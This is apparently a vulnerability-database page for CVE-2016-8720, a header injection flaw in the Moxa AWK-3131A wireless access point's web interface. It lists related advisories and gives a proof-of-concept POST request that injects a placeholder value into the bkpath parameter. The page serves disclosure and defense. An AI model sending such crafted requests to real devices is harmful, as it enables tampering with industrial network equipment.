Moxa AWK-3131A Web Application bkpath HTTP Header Injection Vulnerability(CVE-2016-8720)
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | CVE-2016-8720 | 13 Apr 201719:00 | – | cve |
 | CVE-2016-8720 | 13 Apr 201719:00 | – | cvelist |
 | EUVD-2016-9559 | 7 Oct 202500:30 | – | euvd |
 | CVE-2016-8720 | 13 Apr 201719:59 | – | nvd |
 | CVE-2016-8720 | 13 Apr 201719:59 | – | osv |
 | Design/Logic Flaw | 13 Apr 201719:59 | – | prion |
 | PT-2017-9762 · Moxa · Moxa Awk-3131A Wireless Access Point | 13 Apr 201700:00 | – | ptsecurity |
 | CVE-2016-8720: Improper Neutralization of Special Elements in Output Used by a Downstream Component | 13 Apr 201700:00 | – | rapid7 |
 | Moxa AWK-3131A Web Application bkpath HTTP Header Injection Vulnerability | 10 Apr 201700:00 | – | talos |
 | Moxa AWK-3131A Web Application bkpath HTTP Header Injection (CVE-2016-8720) | 2 Aug 202300:00 | – | nessus |
POST /forms/iw_webSetParameters HTTP/1.1
Host: <device IP>
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://<device IP>/time_set.asp
Cookie: Password508=<valid token>
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 486
iw_IWtime_timeZone=22&iw_IWtime_dstOnMonth=Oct.&iw_IWtime_dstOnWeekIndex=1st&iw_IWtime_dstOnWeekDay=Sun.&iw_IWtime_dstOnTrigHour=00&iw_IWtime_dstOnTrigMin=00&iw_IWtime_dstOffMonth=Oct.&iw_IWtime_dstOffWeekIndex=Last&iw_IWtime_dstOffWeekDay=Sun.&iw_IWtime_dstOffTrigHour=00&iw_IWtime_dstOffTrigMin=00&iw_IWtime_dstOffsetTime=%2B01%3A00&iw_IWtime_firstTimeSrv=time.nist.gov&iw_IWtime_secondTimeSrv=&iw_IWtime_queryPeriod=600&Submit=Submit&bkpath=EVIL_INJECTION&iw_IWtime_dstEnable=DISABLE
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Sep 2017 00:00Current
5.7Medium risk
Vulners AI Score5.7
EPSS0.01362